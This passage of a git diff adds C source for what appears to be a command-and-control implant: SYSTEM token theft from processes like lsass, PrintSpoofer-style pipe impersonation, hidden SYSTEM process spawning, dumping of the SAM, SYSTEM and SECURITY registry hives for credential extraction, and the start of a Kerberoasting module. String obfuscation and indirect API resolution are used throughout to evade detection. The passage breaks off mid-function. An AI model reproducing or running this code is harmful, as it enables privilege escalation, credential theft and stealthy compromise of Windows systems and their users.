+ t2[sizeof(EVS_str_spoolsv_exe)] = 0;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_lsass_exe); _i++)
+ t3[_i] = (char)(EVS_str_lsass_exe[_i] ^ _k);
+ t3[sizeof(EVS_str_lsass_exe)] = 0;
+ const char *targets[] = {t0, t1, t2, t3, NULL};
+
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE)
+ return -1;
+
+ PROCESSENTRY32 pe = {sizeof(pe)};
+ int found = 0;
+
+ if (Process32First(snap, &pe))
+ do
+ {
+ int hit = 0;
+ for (int i = 0; targets[i]; i++)
+ if (_stricmp(pe.szExeFile, targets[i]) == 0)
+ {
+ hit = 1;
+ break;
+ }
+ if (!hit)
+ continue;
+
+ /* indirect NtOpenProcess */
+ HANDLE hp = inject_nt_open_process(pe.th32ProcessID, PROCESS_QUERY_INFORMATION);
+ if (!hp)
+ continue;
+
+ HANDLE ht = NULL;
+ if (!api->OpenProcessToken(hp, TOKEN_DUPLICATE | TOKEN_QUERY, &ht))
+ {
+ CloseHandle(hp);
+ continue;
+ }
+ CloseHandle(hp);
+
+ if (!_is_system_sid(api, ht))
+ {
+ CloseHandle(ht);
+ continue;
+ }
+
+ HANDLE hdup = NULL;
+ SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
+ BOOL ok = api->DuplicateTokenEx(ht, TOKEN_ALL_ACCESS, &sa,
+ SecurityImpersonation, TokenImpersonation, &hdup);
+ CloseHandle(ht);
+ if (!ok)
+ continue;
+
+ *out = hdup;
+ snprintf(buf, sz, "ok:t %lu\n", (unsigned long)pe.th32ProcessID);
+ found = 1;
+ break;
+ } while (Process32Next(snap, &pe));
+
+ CloseHandle(snap);
+ return found ? 0 : -1;
+}
+
+/* Method 2: named pipe impersonation (PrintSpoofer-style) */
+
+typedef struct
+{
+ gs_api_t *api;
+ HANDLE pipe;
+ HANDLE token;
+ volatile int done;
+} _pipe_ctx;
+
+static DWORD WINAPI _pipe_thread(LPVOID p)
+{
+ evasion_apply_thread(GetCurrentThread());
+
+ _pipe_ctx *ctx = (_pipe_ctx *)p;
+ gs_api_t *api = ctx->api;
+
+ if (!api->ConnectNamedPipe(ctx->pipe, NULL) &&
+ GetLastError() != ERROR_PIPE_CONNECTED)
+ {
+ ctx->done = -1;
+ return 0;
+ }
+
+ if (!api->ImpersonateNamedPipeClient(ctx->pipe))
+ {
+ ctx->done = -1;
+ return 0;
+ }
+
+ HANDLE ht = NULL;
+ if (!api->OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE | TOKEN_QUERY, FALSE, &ht))
+ {
+ api->RevertToSelf();
+ ctx->done = -1;
+ return 0;
+ }
+
+ SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
+ api->DuplicateTokenEx(ht, TOKEN_ALL_ACCESS, &sa,
+ SecurityImpersonation, TokenImpersonation, &ctx->token);
+ CloseHandle(ht);
+ api->RevertToSelf();
+ ctx->done = 1;
+ return 0;
+}
+
+static int _pipe_impersonate(gs_api_t *api, HANDLE *out, char *buf, size_t sz)
+{
+ DWORD tick = GetTickCount();
+
+ char pipe_a[128];
+ snprintf(pipe_a, sizeof(pipe_a),
+ "\\\\.\\pipe\\svc%04lx\\pipe\\spoolss", tick & 0xFFFF);
+
+ HANDLE hp = api->CreateNamedPipeA(pipe_a,
+ PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
+ PIPE_TYPE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL);
+ if (hp == INVALID_HANDLE_VALUE)
+ {
+ snprintf(buf, sz, "e:np %lu\n", GetLastError());
+ return -1;
+ }
+
+ /* heap-allocate ctx so the thread never touches freed stack */
+ _pipe_ctx *ctx = (_pipe_ctx *)calloc(1, sizeof(_pipe_ctx));
+ if (!ctx)
+ {
+ CloseHandle(hp);
+ return -1;
+ }
+ ctx->api = api;
+ ctx->pipe = hp;
+
+ HANDLE ht = CreateThread(NULL, 0, _pipe_thread, ctx, 0, NULL);
+ if (!ht)
+ {
+ CloseHandle(hp);
+ free(ctx);
+ return -1;
+ }
+
+ char dll_ws[13], fn_opw[13], fn_cpr[13];
+ EVS_D(dll_ws, EVS_dll_winspool);
+ HMODULE hw = LoadLibraryA(dll_ws);
+ SecureZeroMemory(dll_ws, sizeof(dll_ws));
+ if (hw)
+ {
+ typedef BOOL(WINAPI * fnOPW)(LPWSTR, HANDLE *, LPVOID);
+ typedef BOOL(WINAPI * fnCPR)(HANDLE);
+ EVS_D(fn_opw, EVS_fn_OpenPrinterW);
+ EVS_D(fn_cpr, EVS_fn_ClosePrinter);
+ fnOPW pOPW = (fnOPW)(void *)GetProcAddress(hw, fn_opw);
+ fnCPR pCPR = (fnCPR)(void *)GetProcAddress(hw, fn_cpr);
+ SecureZeroMemory(fn_opw, sizeof(fn_opw));
+ SecureZeroMemory(fn_cpr, sizeof(fn_cpr));
+ if (pOPW)
+ {
+ wchar_t host[MAX_COMPUTERNAME_LENGTH + 2];
+ DWORD hsz = MAX_COMPUTERNAME_LENGTH + 1;
+ _gcnw(host, &hsz);
+ wchar_t trigger[256];
+ _snwprintf(trigger, 256, L"\\\\%s/pipe/svc%04lx", host, tick & 0xFFFF);
+ HANDLE hpr = NULL;
+ pOPW(trigger, &hpr, NULL);
+ if (hpr && pCPR)
+ pCPR(hpr);
+ }
+ FreeLibrary(hw);
+ }
+
+ /* wait for thread; terminate if it didn't finish in time */
+ DWORD w = WaitForSingleObject(ht, 3000);
+ if (w != WAIT_OBJECT_0)
+ TerminateThread(ht, 0);
+ CloseHandle(ht);
+ CloseHandle(hp);
+
+ HANDLE tok = ctx->token;
+ int done = ctx->done;
+ free(ctx);
+
+ if (done != 1 || !tok)
+ {
+ snprintf(buf, sz, "e:pipe\n");
+ if (tok)
+ CloseHandle(tok);
+ return -1;
+ }
+ *out = tok;
+ snprintf(buf, sz, "ok:p\n");
+ return 0;
+}
+
+/* Method 3: spawn agent as SYSTEM via primary token */
+
+static int _spawn_as_system(gs_api_t *api, HANDLE hImpTok, char *buf, size_t sz)
+{
+ if (!api->CreateProcessWithTokenW && !api->CreateProcessAsUserW)
+ return -1;
+
+ /* Duplicate impersonation token to primary token */
+ HANDLE hPrim = NULL;
+ SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
+ if (!api->DuplicateTokenEx(hImpTok, TOKEN_ALL_ACCESS, &sa,
+ SecurityImpersonation, TokenPrimary, &hPrim))
+ {
+ size_t off = strlen(buf);
+ snprintf(buf + off, sz - off,
+ "[gs] dup→primary failed: %lu\n", GetLastError());
+ return -1;
+ }
+
+ WCHAR exe[MAX_PATH] = {0};
+ GetModuleFileNameW(NULL, exe, MAX_PATH);
+
+ /* Tag child so C2 links it to this session. No gs_flagchild is already SYSTEM. */
+ char own_id[AGENT_ID_LEN + 1];
+ agent_gen_id(own_id);
+ agent_write_parent_id(own_id);
+
+ STARTUPINFOW si = {sizeof(si)};
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ PROCESS_INFORMATION pi = {0};
+
+ BOOL ok = FALSE;
+ DWORD flags = CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP;
+
+ if (api->CreateProcessWithTokenW)
+ ok = api->CreateProcessWithTokenW(
+ hPrim, LOGON_WITH_PROFILE, exe, NULL, flags, NULL, NULL, &si, &pi);
+
+ if (!ok && api->CreateProcessAsUserW)
+ {
+ /* LOGON_WITH_PROFILE not needed for CreateProcessAsUserW */
+ HANDLE hPrim2 = NULL;
+ if (api->DuplicateTokenEx(hImpTok, TOKEN_ALL_ACCESS, &sa,
+ SecurityImpersonation, TokenPrimary, &hPrim2))
+ {
+ ok = api->CreateProcessAsUserW(
+ hPrim2, exe, NULL, NULL, NULL, FALSE, flags, NULL, NULL, &si, &pi);
+ CloseHandle(hPrim2);
+ }
+ }
+
+ CloseHandle(hPrim);
+
+ if (!ok)
+ {
+ size_t off = strlen(buf);
+ snprintf(buf + off, sz - off, "e:cp %lu\n", GetLastError());
+ return -1;
+ }
+
+ if (pi.hProcess)
+ CloseHandle(pi.hProcess);
+ if (pi.hThread)
+ CloseHandle(pi.hThread);
+ size_t off = strlen(buf);
+ snprintf(buf + off, sz - off, "ok:s %lu\n", (unsigned long)pi.dwProcessId);
+ return 0;
+}
+
+/* AlwaysInstallElevated check */
+
+static void _check_aie(char *buf, size_t sz)
+{
+ volatile unsigned char _k = EVS_KEY;
+ char _rp[52], _rv[22];
+ for (int _i = 0; _i < (int)sizeof(EVS_str_reg_installer_policy); _i++)
+ _rp[_i] = (char)(EVS_str_reg_installer_policy[_i] ^ _k);
+ _rp[sizeof(EVS_str_reg_installer_policy)] = '\0';
+ for (int _i = 0; _i < (int)sizeof(EVS_str_AlwaysInstallElevated); _i++)
+ _rv[_i] = (char)(EVS_str_AlwaysInstallElevated[_i] ^ _k);
+ _rv[sizeof(EVS_str_AlwaysInstallElevated)] = '\0';
+
+ DWORD hklm = 0, hkcu = 0, cb = sizeof(DWORD);
+ RegGetValueA(HKEY_LOCAL_MACHINE, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hklm, &cb);
+ cb = sizeof(DWORD);
+ RegGetValueA(HKEY_CURRENT_USER, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hkcu, &cb);
+ SecureZeroMemory(_rp, sizeof(_rp));
+ SecureZeroMemory(_rv, sizeof(_rv));
+
+ size_t off = strlen(buf);
+ if (off >= sz - 1)
+ return;
+ if (hklm == 1 && hkcu == 1)
+ {
+ char _t1[] = {'[', 'g', 's', ']', ' ', 'A', 'I', 'E', '=', 'V', 'U', 'L', 'N',
+ 'E', 'R', 'A', 'B', 'L', 'E', ' ', '(', 'H', 'K', 'L', 'M', '+',
+ 'H', 'K', 'C', 'U', '=', '1', ')', '\n', 0};
+ snprintf(buf + off, sz - off, "%s", _t1);
+ }
+ else
+ snprintf(buf + off, sz - off,
+ "[gs] AIE=no (HKLM=%lu HKCU=%lu)\n",
+ hklm, hkcu);
+}
+
+int cmd_getsystem(const char *args, char *out, size_t sz)
+{
+ (void)args;
+ memset(out, 0, sz);
+
+ gs_api_t api;
+ if (_resolve_apis(&api) != 0)
+ {
+ snprintf(out, sz, "e:api\n");
+ return -1;
+ }
+
+ /* check SeImpersonatePrivilege */
+ {
+ HANDLE htok = NULL;
+ if (api.OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok))
+ {
+ LUID luid = {0};
+ char _sp[24];
+ volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_SeImpersonatePrivilege); _i++)
+ _sp[_i] = (char)(EVS_str_SeImpersonatePrivilege[_i] ^ _k);
+ _sp[sizeof(EVS_str_SeImpersonatePrivilege)] = '\0';
+ api.LookupPrivilegeValueA(NULL, _sp, &luid);
+ SecureZeroMemory(_sp, sizeof(_sp));
+ PRIVILEGE_SET ps;
+ ps.PrivilegeCount = 1;
+ ps.Control = 0;
+ ps.Privilege[0].Luid = luid;
+ ps.Privilege[0].Attributes = 0;
+ BOOL has = FALSE;
+ api.PrivilegeCheck(htok, &ps, &has);
+ CloseHandle(htok);
+ if (!has)
+ {
+ char _nm[] = {'[', 'g', 's', ']', ' ', 'S', 'e', 'I', 'm', 'p', 'e', 'r', 's', 'o',
+ 'n', 'a', 't', 'e', ' ', 'n', 'o', 't', ' ', 'h', 'e', 'l', 'd', '\n', 0};
+ snprintf(out, sz, "%s", _nm);
+ _check_aie(out, sz);
+ return -1;
+ }
+ }
+ }
+
+ evasion_apply_thread(GetCurrentThread());
+
+ HANDLE sys_tok = NULL;
+ int rc = _steal_system_token(&api, &sys_tok, out, sz);
+ if (rc != 0)
+ rc = _pipe_impersonate(&api, &sys_tok, out, sz);
+
+ if (rc == 0 && sys_tok)
+ {
+ /* Primary: spawn agent with primary SYSTEM token (bypasses GPO/AppLocker) */
+ int spawn_rc = _spawn_as_system(&api, sys_tok, out, sz);
+
+ /* Also apply thread impersonation so current session is SYSTEM */
+ api.SetThreadToken(NULL, sys_tok);
+ CloseHandle(sys_tok);
+
+ if (spawn_rc == 0)
+ {
+ size_t off = strlen(out);
+ if (off < sz - 1)
+ snprintf(out + off, sz - off, "ok\n");
+ return 0;
+ }
+ size_t off = strlen(out);
+ if (off < sz - 1)
+ snprintf(out + off, sz - off, "ok:thr\n");
+ return 0;
+ }
+
+ size_t off = strlen(out);
+ if (off < sz - 1)
+ snprintf(out + off, sz - off, "e:all\n");
+ _check_aie(out, sz);
+ return -1;
+}
diff --git a/agent/src/commands/hashdump.c b/agent/src/commands/hashdump.c
new file mode 100644
index 0000000..449fc4f
--- /dev/null
+++ b/agent/src/commands/hashdump.c
@@ -0,0 +1,122 @@
+#include "commands.h"
+#include "adv_lazy.h"
+#include
+#include
+#include
+
+static int _save_hive(HKEY root, const char *subkey,
+ const char *out_path,
+ char *msg, size_t msgsz)
+{
+ /* remove existing file first (RegSaveKeyA fails if it exists) */
+ DeleteFileA(out_path);
+
+ HKEY hk = NULL;
+ LONG rc = RegOpenKeyExA(root, subkey, 0, KEY_READ, &hk);
+ if (rc != ERROR_SUCCESS) {
+ snprintf(msg, msgsz, "[hd] RegOpenKeyEx(%s) failed: %ld\n",
+ subkey, rc);
+ return -1;
+ }
+
+ rc = RegSaveKeyA(hk, out_path, NULL);
+ RegCloseKey(hk);
+
+ if (rc != ERROR_SUCCESS) {
+ snprintf(msg, msgsz, "[hd] RegSaveKey(%s) failed: %ld\n",
+ subkey, rc);
+ return -1;
+ }
+
+ LARGE_INTEGER sz = {0};
+ HANDLE hf = CreateFileA(out_path, GENERIC_READ, FILE_SHARE_READ,
+ NULL, OPEN_EXISTING, 0, NULL);
+ if (hf != INVALID_HANDLE_VALUE) {
+ GetFileSizeEx(hf, &sz);
+ CloseHandle(hf);
+ }
+
+ snprintf(msg, msgsz, " %-10s → %s (%llu bytes)\n",
+ subkey, out_path, (unsigned long long)sz.QuadPart);
+ return 0;
+}
+
+int cmd_hashdump(const char *dir, char *output_buf, size_t output_size)
+{
+ char out_dir[MAX_PATH];
+ if (dir && dir[0]) {
+ strncpy(out_dir, dir, sizeof(out_dir) - 1);
+ out_dir[sizeof(out_dir) - 1] = '\0';
+ } else {
+ GetTempPathA(sizeof(out_dir), out_dir);
+ }
+ /* strip trailing backslash */
+ size_t dlen = strlen(out_dir);
+ if (dlen > 0 && out_dir[dlen - 1] == '\\')
+ out_dir[--dlen] = '\0';
+
+ /* SeBackupPrivilege LUID={17,0}, SeSecurityPrivilege LUID={8,0} — constant on all NT */
+ {
+ const adv_api_t *_a = adv_get();
+ HANDLE _tok = NULL;
+ if (_a->OpenProcessToken && _a->AdjustTokenPrivileges &&
+ _a->OpenProcessToken(GetCurrentProcess(),
+ TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &_tok)) {
+ TOKEN_PRIVILEGES _tp;
+ _tp.PrivilegeCount = 1;
+ _tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+ _tp.Privileges[0].Luid.LowPart = 17; _tp.Privileges[0].Luid.HighPart = 0;
+ _a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
+ _tp.Privileges[0].Luid.LowPart = 8;
+ _a->AdjustTokenPrivileges(_tok, FALSE, &_tp, 0, NULL, NULL);
+ CloseHandle(_tok);
+ }
+ }
+
+ char sam_path[MAX_PATH], sys_path[MAX_PATH], sec_path[MAX_PATH];
+ snprintf(sam_path, sizeof(sam_path), "%s\\sam.hive", out_dir);
+ snprintf(sys_path, sizeof(sys_path), "%s\\system.hive", out_dir);
+ snprintf(sec_path, sizeof(sec_path), "%s\\security.hive", out_dir);
+
+ size_t pos = 0;
+ int n = snprintf(output_buf + pos, output_size - pos,
+ "[hd] saving hives to %s\n", out_dir);
+ if (n > 0) pos += (size_t)n;
+
+ static const struct { HKEY root; const char *key; } hives[] = {
+ {HKEY_LOCAL_MACHINE, "SAM"},
+ {HKEY_LOCAL_MACHINE, "SYSTEM"},
+ {HKEY_LOCAL_MACHINE, "SECURITY"},
+ };
+ static const char *paths[] = {NULL, NULL, NULL};
+ /* assign at runtime */
+ char *ppaths[3];
+ ppaths[0] = sam_path;
+ ppaths[1] = sys_path;
+ ppaths[2] = sec_path;
+
+ int any_ok = 0;
+ for (int i = 0; i < 3; i++) {
+ char msg[512];
+ int rc = _save_hive(hives[i].root, hives[i].key, ppaths[i],
+ msg, sizeof(msg));
+ n = snprintf(output_buf + pos, output_size - pos, "%s", msg);
+ if (n > 0) pos += (size_t)n;
+ if (rc == 0) any_ok++;
+ }
+
+ if (any_ok == 0) {
+ n = snprintf(output_buf + pos, output_size - pos,
+ "[hd] all failed - try st on a SYSTEM process first\n");
+ if (n > 0) pos += (size_t)n;
+ return -1;
+ }
+
+ n = snprintf(output_buf + pos, output_size - pos,
+ "[hd] extract creds:\n"
+ " secretsdump.py -sam sam.hive -system system.hive -security security.hive LOCAL\n");
+ if (n > 0) pos += (size_t)n;
+
+ (void)paths;
+ return 0;
+}
diff --git a/agent/src/commands/kerberos.c b/agent/src/commands/kerberos.c
new file mode 100644
index 0000000..e6b9f1c
--- /dev/null
+++ b/agent/src/commands/kerberos.c
@@ -0,0 +1,1149 @@
+#include "commands.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include /* UNICODE_STRING, LSA_STRING */
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+/* LSA / Kerberos structures defined manually for MinGW compatibility */
+
+#ifndef _NTSECAPI_MANUAL_KERB
+#define _NTSECAPI_MANUAL_KERB
+
+#ifndef STATUS_SUCCESS
+typedef LONG NTSTATUS;
+#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
+#endif
+
+/* LSA_STRING — may already be in winternl.h on some MinGW builds */
+#ifndef _LSA_STRING_DEFINED
+#define _LSA_STRING_DEFINED
+typedef struct _LSA_STRING2
+{
+ USHORT Length;
+ USHORT MaximumLength;
+ PCHAR Buffer;
+} LSA_STRING, *PLSA_STRING;
+#endif
+
+typedef enum _KERB_PROTOCOL_MESSAGE_TYPE
+{
+ KerbRetrieveEncodedTicketMessage = 4,
+} KERB_PROTOCOL_MESSAGE_TYPE;
+
+#define KERB_RETRIEVE_TICKET_DONT_USE_CACHE 0x00000001
+#define KERB_RETRIEVE_TICKET_USE_CACHE_ONLY 0x00000002
+
+#define KERB_ETYPE_RC4_HMAC_NT 23
+#define KERB_ETYPE_AES256_CTS_HMAC_SHA1_96 18
+
+typedef struct _KERB_RETRIEVE_TKT_REQUEST
+{
+ KERB_PROTOCOL_MESSAGE_TYPE MessageType;
+ LUID LogonId;
+ UNICODE_STRING TargetName;
+ ULONG TicketFlags;
+ ULONG CacheOptions;
+ LONG EncryptionType;
+ HANDLE CredentialsHandle;
+} KERB_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST;
+
+typedef struct _KERB_EXTERNAL_NAME
+{
+ SHORT NameType;
+ USHORT NameCount;
+ UNICODE_STRING Names[1];
+} KERB_EXTERNAL_NAME, *PKERB_EXTERNAL_NAME;
+
+typedef struct _KERB_CRYPTO_KEY
+{
+ LONG KeyType;
+ ULONG Length;
+ PUCHAR Value;
+} KERB_CRYPTO_KEY, *PKERB_CRYPTO_KEY;
+
+typedef struct _KERB_EXTERNAL_TICKET
+{
+ PKERB_EXTERNAL_NAME ServiceName;
+ PKERB_EXTERNAL_NAME TargetName;
+ PKERB_EXTERNAL_NAME ClientName;
+ UNICODE_STRING DomainName;
+ UNICODE_STRING TargetDomainName;
+ UNICODE_STRING AltTargetDomainName;
+ KERB_CRYPTO_KEY SessionKey;
+ ULONG TicketFlags;
+ ULONG Flags;
+ LARGE_INTEGER KeyExpirationTime;
+ LARGE_INTEGER StartTime;
+ LARGE_INTEGER EndTime;
+ LARGE_INTEGER RenewUntil;
+ LARGE_INTEGER TimeSkew;
+ ULONG EncodedTicketSize;
+ PUCHAR EncodedTicket;
+} KERB_EXTERNAL_TICKET, *PKERB_EXTERNAL_TICKET;
+
+typedef struct _KERB_RETRIEVE_TKT_RESPONSE
+{
+ KERB_EXTERNAL_TICKET Ticket;
+} KERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE_TKT_RESPONSE;
+
+#endif /* _NTSECAPI_MANUAL_KERB */
+
+/* LSA function pointers (secur32.dll — already linked) */
+typedef NTSTATUS(WINAPI *pLsaConnectUntrusted_t)(PHANDLE);
+typedef NTSTATUS(WINAPI *pLsaLookupAuthPackage_t)(HANDLE, PLSA_STRING, PULONG);
+typedef NTSTATUS(WINAPI *pLsaCallAuthPackage_t)(HANDLE, ULONG, PVOID, ULONG,
+ PVOID *, PULONG, PNTSTATUS);
+typedef NTSTATUS(WINAPI *pLsaFreeReturnBuffer_t)(PVOID);
+
+static pLsaConnectUntrusted_t fn_LsaConn;
+static pLsaLookupAuthPackage_t fn_LsaLookup;
+static pLsaCallAuthPackage_t fn_LsaCall;
+static pLsaFreeReturnBuffer_t fn_LsaFree;
+
+/* GetComputerNameExW — removes from IAT */
+typedef BOOL(WINAPI *_KCNX_t)(COMPUTER_NAME_FORMAT, LPWSTR, LPDWORD);
+static BOOL _kcnexw(COMPUTER_NAME_FORMAT fmt, LPWSTR buf, LPDWORD sz)
+{
+ static _KCNX_t fn = NULL;
+ if (!fn)
+ {
+ char fs[22], ks[14];
+ volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameExW); i++)
+ fs[i] = (char)(EVS_fn_GetComputerNameExW[i] ^ xk);
+ fs[sizeof(EVS_fn_GetComputerNameExW)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++)
+ ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks);
+ SecureZeroMemory(ks, sizeof(ks));
+ if (m)
+ fn = (_KCNX_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn ? fn(fmt, buf, sz) : FALSE;
+}
+
+static int lsa_init(void)
+{
+ char s[32];
+ volatile unsigned char _k = EVS_KEY;
+
+ for (int i = 0; i < (int)sizeof(EVS_dll_secur32); i++)
+ s[i] = (char)(EVS_dll_secur32[i] ^ _k);
+ s[sizeof(EVS_dll_secur32)] = '\0';
+ HMODULE h = _peb_module(s);
+ if (!h)
+ h = LoadLibraryA(s);
+ SecureZeroMemory(s, sizeof(s));
+ if (!h)
+ return -1;
+
+ for (int i = 0; i < (int)sizeof(EVS_fn_LsaConnectUntrusted); i++)
+ s[i] = (char)(EVS_fn_LsaConnectUntrusted[i] ^ _k);
+ s[sizeof(EVS_fn_LsaConnectUntrusted)] = '\0';
+ fn_LsaConn = (pLsaConnectUntrusted_t)GetProcAddress(h, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ for (int i = 0; i < (int)sizeof(EVS_fn_LsaLookupAuthenticationPackage); i++)
+ s[i] = (char)(EVS_fn_LsaLookupAuthenticationPackage[i] ^ _k);
+ s[sizeof(EVS_fn_LsaLookupAuthenticationPackage)] = '\0';
+ fn_LsaLookup = (pLsaLookupAuthPackage_t)GetProcAddress(h, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ for (int i = 0; i < (int)sizeof(EVS_fn_LsaCallAuthenticationPackage); i++)
+ s[i] = (char)(EVS_fn_LsaCallAuthenticationPackage[i] ^ _k);
+ s[sizeof(EVS_fn_LsaCallAuthenticationPackage)] = '\0';
+ fn_LsaCall = (pLsaCallAuthPackage_t)GetProcAddress(h, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ for (int i = 0; i < (int)sizeof(EVS_fn_LsaFreeReturnBuffer); i++)
+ s[i] = (char)(EVS_fn_LsaFreeReturnBuffer[i] ^ _k);
+ s[sizeof(EVS_fn_LsaFreeReturnBuffer)] = '\0';
+ fn_LsaFree = (pLsaFreeReturnBuffer_t)GetProcAddress(h, s);
+ SecureZeroMemory(s, sizeof(s));
+
+ return (fn_LsaConn && fn_LsaLookup && fn_LsaCall && fn_LsaFree) ? 0 : -1;
+}
+
+/* ── DER parser (ticket enc-part extraction) ─────────────────────────────── */
+
+static int der_read_len(const uint8_t *buf, size_t total, size_t *off, size_t *out_len)
+{
+ if (*off >= total)
+ return -1;
+ uint8_t b = buf[(*off)++];
+ if (!(b & 0x80))
+ {
+ *out_len = b;
+ return 0;
+ }
+ int nb = b & 0x7f;
+ if (nb == 0 || nb > 4 || *off + nb > total)
+ return -1;
+ *out_len = 0;
+ for (int i = 0; i < nb; i++)
+ *out_len = (*out_len << 8) | buf[(*off)++];
+ return 0;
+}
+
+/* Advance past one TLV; return pointer to value and its length */
+static int der_next(const uint8_t *buf, size_t total, size_t *off,
+ uint8_t *tag_out, const uint8_t **val, size_t *vlen)
+{
+ if (*off >= total)
+ return -1;
+ *tag_out = buf[(*off)++];
+ size_t l;
+ if (der_read_len(buf, total, off, &l))
+ return -1;
+ if (*off + l > total)
+ return -1;
+ *val = buf + *off;
+ *vlen = l;
+ *off += l;
+ return 0;
+}
+
+/* Find first child TLV with given tag inside a buffer */
+static const uint8_t *der_find(const uint8_t *buf, size_t len, uint8_t tag, size_t *found_len)
+{
+ size_t off = 0;
+ uint8_t t;
+ const uint8_t *v;
+ size_t vl;
+ while (der_next(buf, len, &off, &t, &v, &vl) == 0)
+ if (t == tag)
+ {
+ *found_len = vl;
+ return v;
+ }
+ return NULL;
+}
+
+/*
+ * Extract EncryptedData cipher bytes from a raw Kerberos Ticket DER blob.
+ * Returns pointer into ticket_der buffer; *cipher_len set on success.
+ * NULL on failure.
+ *
+ * Ticket DER layout:
+ * 0x61 [APPLICATION 1]
+ * 0x30 SEQUENCE
+ * 0xa0 [0] tkt-vno
+ * 0xa1 [1] realm
+ * 0xa2 [2] sname
+ * 0xa3 [3] enc-part EncryptedData
+ * 0x30 SEQUENCE
+ * 0xa0 [0] etype INTEGER
+ * 0xa1 [1] kvno INTEGER (optional)
+ * 0xa2 [2] cipher OCTET STRING <── we want this
+ */
+static const uint8_t *ticket_cipher(const uint8_t *ticket_der, size_t ticket_len,
+ size_t *cipher_len)
+{
+ size_t off = 0;
+ uint8_t tag;
+ const uint8_t *v;
+ size_t vl;
+
+ /* 0x61 APPLICATION 1 */
+ if (der_next(ticket_der, ticket_len, &off, &tag, &v, &vl) || tag != 0x61)
+ return NULL;
+ /* 0x30 SEQUENCE */
+ const uint8_t *seq;
+ size_t seq_len;
+ seq = der_find(v, vl, 0x30, &seq_len);
+ if (!seq)
+ return NULL;
+ /* [3] enc-part */
+ const uint8_t *enc;
+ size_t enc_len;
+ enc = der_find(seq, seq_len, 0xa3, &enc_len);
+ if (!enc)
+ return NULL;
+ /* SEQUENCE inside enc-part */
+ const uint8_t *eseq;
+ size_t eseq_len;
+ eseq = der_find(enc, enc_len, 0x30, &eseq_len);
+ if (!eseq)
+ return NULL;
+ /* [2] cipher OCTET STRING */
+ const uint8_t *ctx2;
+ size_t ctx2_len;
+ ctx2 = der_find(eseq, eseq_len, 0xa2, &ctx2_len);
+ if (!ctx2)
+ return NULL;
+ const uint8_t *ostr;
+ size_t ostr_len;
+ ostr = der_find(ctx2, ctx2_len, 0x04, &ostr_len);
+ if (!ostr || ostr_len < 17)
+ return NULL;
+ *cipher_len = ostr_len;
+ return ostr;
+}
+
+/* ── LDAP helpers ──────────────────────────────────────────────────────────── */
+
+/* Get defaultNamingContext from rootDSE */
+static char *ldap_get_base_dn(LDAP *ld)
+{
+ LDAPMessage *res = NULL;
+ char *attrs[] = {"defaultNamingContext", NULL};
+ if (ldap_search_s(ld, "", LDAP_SCOPE_BASE, "(objectClass=*)", attrs, 0, &res) != LDAP_SUCCESS)
+ return NULL;
+ LDAPMessage *e = ldap_first_entry(ld, res);
+ if (!e)
+ {
+ ldap_msgfree(res);
+ return NULL;
+ }
+ char **vals = ldap_get_values(ld, e, "defaultNamingContext");
+ char *dn = (vals && vals[0]) ? _strdup(vals[0]) : NULL;
+ if (vals)
+ ldap_value_free(vals);
+ ldap_msgfree(res);
+ return dn;
+}
+
+/* ── Hex encoding ─────────────────────────────────────────────────────────── */
+
+static void hex_append(char *buf, size_t bufsz, size_t *pos,
+ const uint8_t *data, size_t len)
+{
+ for (size_t i = 0; i < len && *pos + 2 < bufsz; i++)
+ {
+ *pos += snprintf(buf + *pos, bufsz - *pos, "%02x", data[i]);
+ }
+}
+
+/* ── Random jitter (OPSEC: space out TGS/AS-REQ events) ─────────────────── */
+
+static void opsec_jitter(void)
+{
+ DWORD ms = 40 + (DWORD)(rand() % 80); /* 40–120 ms */
+ Sleep(ms);
+}
+
+/* ── Kerberoasting ──────────────────────────────────────────────────────── */
+
+int cmd_kerberoast(const char *args, char *output_buf, size_t output_size)
+{
+ int etype = KERB_ETYPE_RC4_HMAC_NT;
+ if (args && strstr(args, "aes"))
+ etype = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96;
+
+ if (lsa_init() != 0)
+ return snprintf(output_buf, output_size, "[-] secur32 load failed\n"), -1;
+
+ /* Connect to LSA */
+ HANDLE hLsa = NULL;
+ if (fn_LsaConn(&hLsa) != STATUS_SUCCESS)
+ return snprintf(output_buf, output_size, "[-] lsa connect failed\n"), -1;
+
+ LSA_STRING pkg = {8, 9, "Kerberos"};
+ ULONG pkg_id = 0;
+ if (fn_LsaLookup(hLsa, &pkg, &pkg_id) != STATUS_SUCCESS)
+ {
+ CloseHandle(hLsa);
+ return snprintf(output_buf, output_size, "[-] lsa lookup failed\n"), -1;
+ }
